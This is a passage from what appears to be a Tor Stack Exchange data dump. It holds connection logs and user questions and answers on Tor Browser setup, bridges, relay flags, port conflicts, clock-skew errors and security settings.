&#xA;27/03/2018, 11:33:28.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:33:28.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:33:28.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:33:29.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;27/03/2018, 11:33:31.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:33:31.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:33:31.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:33:31.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:35:46.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;27/03/2018, 11:36:07.200 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (Operation timed out; TIMEOUT; count 10; recommendation warn; host 09A1AE88A78746AA9EC1BD5953E84F61CB763BCA at 195.154.156.231:9001) &#xA;27/03/2018, 11:36:07.200 [WARN] 10 connections have failed: &#xA;27/03/2018, 11:36:07.200 [WARN]  8 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.200 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.200 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:36:07.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:36:07.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 11; recommendation warn; host 21310F48066A4CAADEB2BFD324F0B38F8E1448D6 at 212.89.225.242:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 13 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 12; recommendation warn; host 88C3708A9D71ECEC1910B63C3FAA5BF60CD7E199 at 51.15.47.62:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 14 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  3 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 13; recommendation warn; host 78BC2254D3B31CD865F7682633AA438212132532 at 51.15.80.7:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 15 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  4 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 14; recommendation warn; host 327F5823438B8EC86EC33355C147D8455AB1C14B at 93.115.91.66:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 16 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 15; recommendation warn; host DBE82FA23B9FE3CB2462A6FCF5289DED3CBF4AEE at 138.201.169.12:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 17 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  6 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 16; recommendation warn; host 0ED0EA324C931CF41CB5272BFB1D015B3D5772A9 at 217.182.196.68:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 19 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  11 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  7 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 17; recommendation warn; host 15C5C5F5964F4ADA8D9CE26A0FE27C16D2B156E3 at 5.196.29.217:443) &#xA;27/03/2018, 11:36:07.300 [WARN] 20 connections have failed: &#xA;27/03/2018, 11:36:07.300 [WARN]  11 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/03/2018, 11:36:07.300 [WARN]  8 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;27/03/2018, 11:36:07.300 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/03/2018, 11:36:07.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:36:07.400 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="21493" LastEditorUserId="21493" LastEditDate="2018-03-29T08:28:45.153" LastActivityDate="2020-11-14T12:00:45.120" Title="Setup for Tor in school network" Tags="|mac|" AnswerCount="1" CommentCount="2" ClosedDate="2020-11-14T14:28:13.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="16931" PostTypeId="2" ParentId="16928" CreationDate="2018-03-27T16:34:34.197" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2467&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; regarding the Stable flag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Stable&quot; -- A router is 'Stable' if it is active, and either its Weighted&#xA;     MTBF is at least the median for known active routers or its Weighted MTBF&#xA;     corresponds to at least 7 days. Routers are never called Stable if they are&#xA;     running a version of Tor known to drop circuits stupidly.  (0.1.1.10-alpha&#xA;     through 0.1.1.16-rc are stupid this way.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(That's a direct link as of the time of writing. Look for Stable &lt;code&gt;3.4.2. Assigning flags in a vote&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;FYI for in the future: many (but not all) torrc changes only require a reload as opposed to a restart. Changing your ContactInfo is one of those things. That would have prevented the downtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, to get the Stable flag you'll need to wait until your Mean Time Between Failures is above the network average or at least 7 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't worry too much about needing to restart your relay. Keeping your OS and Tor up to date is more important than shooting for as large of an uptime number as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just sit back, relax, and feel good about yourself because you contribute to the Tor network. Thank you for running a relay!&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-27T16:34:34.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16932" PostTypeId="1" CreationDate="2018-03-27T19:14:11.010" Score="0" ViewCount="410" Body="&lt;p&gt;Is there a way to define a custom level in the security settings?&#xA;For example I'd like to use the &quot;safer&quot; preset but allow Javascript on HTTP. The reason is that I use a separate JS blocker which allows me to select which scripts to trust (and which not to). However I'd like to use the reduced set of Fonts and the other measures of the &quot;Safer&quot; preset.&lt;/p&gt;&#xA;" OwnerUserId="21496" LastActivityDate="2022-04-06T18:08:45.813" Title="TorButton Security settings: Define custom level" Tags="|security|tor-button|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16933" PostTypeId="2" ParentId="16932" CreationDate="2018-03-27T20:04:57.277" Score="0" Body="&lt;p&gt;No, this isn't possible and shouldn't be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the security slider was introduced was to allow granular but consistent choices, providing intervals between reduced attack surface and usability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting a custom level would make you distinguishable from other Tor Browser users, which would defeat the anonymity provided by Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the considerations &lt;em&gt;against&lt;/em&gt; the security slider is that each setting makes you look different from other Tor Browser users, breaking Tor Browser users up into a smaller anonymity set and making you more trackable. Tor Browser aims to put all users into one anonymity set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only need some features sometimes and want to not have them at others, you should set the slider appropriately for each situation.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-03-27T20:04:57.277" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16935" PostTypeId="2" ParentId="10631" CreationDate="2018-03-27T23:07:11.640" Score="0" Body="&lt;p&gt;Tor bridges are unlisted  tor entry nodes; the purpose of bridges is to let you access the tor network if your ISP or network is blocking all of the publicly listed to entry points. The problem that you are having with the website is unrelated to bridges; you need to use bridges if your ISP blocks you from being able to connect to the tor network. What's going on is the website you are visiting is resolving the IP address tor is giving you from the exit node and is such picking up that it's a proxied ip address you are currently coming from. If the website does not allow you to sign in from a proxied tor ip address then you will need to go there normally with your real isp ip address or go to a local coffee shop or something.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-03-27T23:07:11.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16937" PostTypeId="1" CreationDate="2018-03-28T10:32:57.163" Score="1" ViewCount="1149" Body="&lt;ol&gt;&#xA;&lt;li&gt;what is the reason behind http/2 being disabled by default in the&#xA;tor browser?&lt;/li&gt;&#xA;&lt;li&gt;What are the security and privacy impacts for the same?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21375" LastActivityDate="2019-09-12T15:37:22.510" Title="HTTP/2 disabled on tor browser by default" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16938" PostTypeId="2" ParentId="16937" CreationDate="2018-03-28T17:36:20.027" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser/design/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Design Goal: SPDY and HTTP/2 connections MUST be isolated to the URL bar domain. Furthermore, all associated means that could be used for cross-domain user tracking (alt-svc headers come to mind) MUST adhere to this design principle as well.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implementation status: SPDY and HTTP/2 are currently disabled by setting the Firefox preferences network.http.spdy.enabled, network.http.spdy.enabled.v2, network.http.spdy.enabled.v3, network.http.spdy.enabled.v3-1, network.http.spdy.enabled.http2, network.http.spdy.enabled.http2draft, network.http.altsvc.enabled, and network.http.altsvc.oe to false.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It looks like there's issues with HTTP/2 being able adhere to the URL-bar domain isolation that Tor Browser does.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-28T17:36:20.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16940" PostTypeId="1" CreationDate="2018-03-29T09:52:53.580" Score="1" ViewCount="1413" Body="&lt;p&gt;I followed a &lt;a href=&quot;https://github.com/b4rton/osx-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; and now I have Homebrew &lt;code&gt;tor&lt;/code&gt; running in the background at all times for use by an unrelated application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I can't use Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o4Qyy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4Qyy.png&quot; alt=&quot;tor connection fails&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typed &lt;code&gt;tor&lt;/code&gt; into Terminal and I get this &lt;code&gt;Is Tor already running?&lt;/code&gt; message. So I'm guessing only one instance of &lt;code&gt;tor&lt;/code&gt; can run at a time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor&#xA;Mar 29 02:32:13.361 [notice] Tor 0.3.2.10 (git-31cc63deb69db819) running on Darwin with Libevent 2.1.8-stable, OpenSSL 1.0.2n, Zlib 1.2.5, Liblzma N/A, and Libzstd N/A.&#xA;Mar 29 02:32:13.362 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Mar 29 02:32:13.363 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Mar 29 02:32:13.367 [notice] Scheduler type KISTLite has been enabled.&#xA;Mar 29 02:32:13.367 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Mar 29 02:32:13.367 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Mar 29 02:32:13.367 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Mar 29 02:32:13.367 [warn] Could not bind to 127.0.0.1:9051: Address already in use. Is Tor already running?&#xA;Mar 29 02:32:13.367 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Mar 29 02:32:13.367 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use Tor Browser without having to disable my background service. How can I have my cake and eat it too?&lt;/p&gt;&#xA;" OwnerUserId="21509" LastActivityDate="2019-04-23T15:02:45.553" Title="Use TorBrowser when tor is already running (osx)" Tags="|tor-browser-bundle|configuration|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16941" PostTypeId="2" ParentId="16940" CreationDate="2018-03-29T09:52:53.580" Score="2" Body="&lt;p&gt;From the provided bash output, it looks like your background &lt;code&gt;tor&lt;/code&gt; is configured to use ports 9050 and 9051.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were on the right track with multiple instances of &lt;code&gt;tor&lt;/code&gt; not being able to run. But Tor Browser comes with its own &lt;code&gt;tor&lt;/code&gt; daemon. It doesn't use the same &lt;code&gt;tor&lt;/code&gt; as your background service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser's default ports are 9150 and 9151. They used to be 9050 and 9051, so if you've run Tor Browser in the past then it is probably trying to open 9050 and 9051. Those ports are in use. So Tor Browser fails to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To allow both &lt;code&gt;tor&lt;/code&gt; services to run you'll have to change the port configurations (torrc) of either the Homebrew &lt;code&gt;tor&lt;/code&gt; or the Tor Browser &lt;code&gt;tor&lt;/code&gt;. In particular, you'll want to change the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to use some other port number so that the two don't conflict. (May I suggest 9151?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Mac,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the Homebrew torrc should be located at &lt;code&gt;/usr/local/etc/tor/torrc&lt;/code&gt;, and &lt;/li&gt;&#xA;&lt;li&gt;the Tor Browser torrc should be at &lt;code&gt;~/Library/Application Support/TorBrowser-Data/Tor/torrc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21509" LastActivityDate="2018-03-29T09:52:53.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16943" PostTypeId="1" AcceptedAnswerId="16945" CreationDate="2018-03-29T14:46:59.330" Score="0" ViewCount="2479" Body="&lt;p&gt;Everything was fine, i was surfing in the Tor Browser witout any problem, until suddenly the browser did not find any pages anymore. So i restarted the browser and then i get this message: TOR FAILED TO ESTABLISH A TOR NETWORK CONNECTION.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3/29/2018 1:31:40 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2018 1:31:40 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2018 1:31:40 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2018 1:31:40 AM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/29/2018 1:31:40 AM.500 [NOTICE] Renaming old configuration file to &quot;C:\Users\ROCKSTAR\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;3/29/2018 1:31:40 AM.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/29/2018 1:31:40 AM.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/29/2018 1:31:41 AM.300 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;3/29/2018 1:31:41 AM.400 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;3/29/2018 1:31:41 AM.500 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;3/29/2018 1:31:42 AM.700 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;3/29/2018 1:31:43 AM.000 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;3/29/2018 1:31:44 AM.000 [WARN] Our clock is 13 hours, 28 minutes behind the time published in the consensus network status document (2018-03-29 14:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;3/29/2018 1:31:44 AM.000 [WARN] Received microdesc flavor consensus with skewed time (CONSENSUS): It seems that our clock is behind by 13 hours, 28 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/29/2018 1:31:44 AM.000 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (Clock skew -48497 in microdesc flavor consensus from CONSENSUS; CLOCK_SKEW; count 1; recommendation warn; host ? at ?) &#xA;3/29/2018 1:31:44 AM.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;3/29/2018 1:31:44 AM.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/29/2018 1:31:44 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2018 1:31:44 AM.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/29/2018 1:31:44 AM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to connect with bridges but it did also not work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the problem and how do i fix it?&lt;/p&gt;&#xA;" OwnerUserId="21511" LastActivityDate="2018-03-29T22:37:23.550" Title="Tor browser can not connect" Tags="|log|" AnswerCount="3" CommentCount="0" ClosedDate="2018-04-12T17:17:21.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="16944" PostTypeId="2" ParentId="16943" CreationDate="2018-03-29T15:04:36.423" Score="0" Body="&lt;p&gt;Read the logs you posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[WARN] Our clock is 13 hours, 28 minutes behind the time published in the consensus network status document (2018-03-29 14:00:00 UTC). Tor needs an accurate clock to work correctly. Please check your time and date settings!&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor needs an accurate date, time, and timezone to work. Most likely you need to accurately set the timezone in your operating system's settings. Then fix the time.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-29T15:04:36.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16945" PostTypeId="2" ParentId="16943" CreationDate="2018-03-29T15:13:29.097" Score="0" Body="&lt;p&gt;Our clock is 13 hours, 28 minutes behind the time published in the consensus network status document (2018-03-29 14:00:00 UTC). Tor needs an accurate clock to work correctly. Please check your time and date settings!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That line makes me think that your computers clock is out of sync with your local timezone. This can mess things up as the tor software needs an accurate date and time according to the computer it's running on. Make sure your computer's clock is on the correct time and that line should go away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your tor browser was working fine before, another thing I'd as is if you made any edits to the TORRC file; if any edits were made to the TORRC file that weren't typed in correctly, this can cause the tor software to crash on startup. &lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-03-29T15:13:29.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16946" PostTypeId="2" ParentId="12105" CreationDate="2018-03-29T18:57:21.230" Score="1" Body="&lt;p&gt;Had the same problem today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After (!) getting the error:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;open &quot;disks&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select your sdcard (be sure to select the right one - in your case /dev/sda/)&lt;/li&gt;&#xA;&lt;li&gt;Select the first partition.&lt;/li&gt;&#xA;&lt;li&gt;Click on the gear symbol.&lt;/li&gt;&#xA;&lt;li&gt;select &quot;Format partition&quot;&lt;/li&gt;&#xA;&lt;li&gt;select type &quot;FAT&quot; (should be already selected)&lt;/li&gt;&#xA;&lt;li&gt;click &quot;Format&quot;&lt;/li&gt;&#xA;&lt;li&gt;restart installer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then it worked for me.&lt;/p&gt;&#xA;" OwnerUserId="21516" LastActivityDate="2018-03-29T18:57:21.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16947" PostTypeId="2" ParentId="16468" CreationDate="2018-03-29T20:41:10.957" Score="3" Body="&lt;p&gt;With plenty of relays available on both sides of the Atlantic, you may find that a Tor circuit often forms picking relays on both sides, which adds to latency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see countries on the opposite side you're on repeatedly coming up in circuits, you could use ExcludeNodes to exclude relays from those countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {US},{CA}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {FR},{DE}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3792" LastActivityDate="2018-03-29T20:41:10.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16949" PostTypeId="2" ParentId="16943" CreationDate="2018-03-29T22:37:23.550" Score="0" Body="&lt;p&gt;It works now after i changed the time. The time on my pc was totaly wrong. I dont understand though how it happened suddenly while browsing in the tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, i tried to change the torrc file, i think i made some wrongs. But i deleted Tor and instalel it again. It should be original files now right?&lt;/p&gt;&#xA;" OwnerUserId="21511" LastActivityDate="2018-03-29T22:37:23.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16950" PostTypeId="2" ParentId="16930" CreationDate="2018-03-30T00:38:37.010" Score="0" Body="&lt;p&gt;It could be that your school has some type of firewall that is blocking tor. With the way that the tor browser is designed now, you may want to go home and do what I'm about to suggest doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1. Go home, and when you are on your home or uncesnored internet connection, connect directly to the tor network first. I will supply screenshots  below on what you should do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: stack exchage would not allow me to post the screenshots as they were too big, you can find them at this link: &lt;a href=&quot;https://drive.google.com/open?id=1bqE0NeM49q_zn0ysvh7NP6o4sJleFsgP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1bqE0NeM49q_zn0ysvh7NP6o4sJleFsgP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When at home and  directly connected to tor, click the onion icon and click &quot;tor network settings&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see three options, tor is censored in my country, I use a proxy to access the internet, and this computer goes through a firewall that only allows certain ports.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;I would recommend checking the one that says &quot;this computer goes through a firewall that only allows certain ports&quot;. This might not be a 100% necessary step for your schools firewall, but I would check it in case your school does have a firewall with a super restrictive port blocker; it will say ports 80, 443 which are two ports that need to be open to get a network connection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find out if your school uses local proxy settings to access the internet (if they have a proxy server on their network). If they do, check I use a proxy to access the internet and enter the same proxy setting they normally use in there (leave it unchecked if they don't use a proxy server). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Leave the port restriction option mentioned earlier checked, if you have both that checked and the proxy server information entered correctly, try connecting now. If it works then awesome. However it could be the actual tor network itself is blocked. If that's the case, check &quot;tor is censored in my country&quot; This will give you the option to use bridges, unlisted / disguised tor entry points, the point behind them is that because they aren't listed in the public relay list, you can still connect to them if the public tor network is blocked. Try using &quot;select a bridge I know&quot; and try them all and use the one that works. If they get blocked; find more and use the option &quot;provide a bride I know and enter them.&quot; You say that the email you get back from tor is blocked; keep in mind the email has to be sent from an either Gmail or Yahoo email account (gmail.com or yahoo.com domain) Any other email service provider will not work. You can also go to bridges.torproject.org on your smartphone or something and find bridges there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-03-30T00:38:37.010" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16952" PostTypeId="1" CreationDate="2018-03-30T16:43:07.263" Score="3" ViewCount="23128" Body="&lt;p&gt;Is it supposed to be a joke? I can't create an account for a Tor forum with the Tor Browser. reCAPTCHA won't work. Actually it's not the problem of this forum only. The reason I got here is... reCAPTCHA doesn't work with Tor Browser.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UhaiG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhaiG.png&quot; alt=&quot; we can&amp;#39;t process your request right now &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the error message:  &quot;We're sorry, but your computer or network may be sending automated queries. To protect our users, we can't process your request right now.&quot;&#xA;With Chrome everything works fine. Anyone knows how to fix it? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="21524" LastActivityDate="2019-04-12T10:14:07.477" Title="reCAPTCHA doesn't work with Tor Browser" Tags="|tor-browser-bundle|google|captcha|" AnswerCount="1" CommentCount="3" ClosedDate="2019-04-13T23:30:56.170" ContentLicense="CC BY-SA 3.0" />
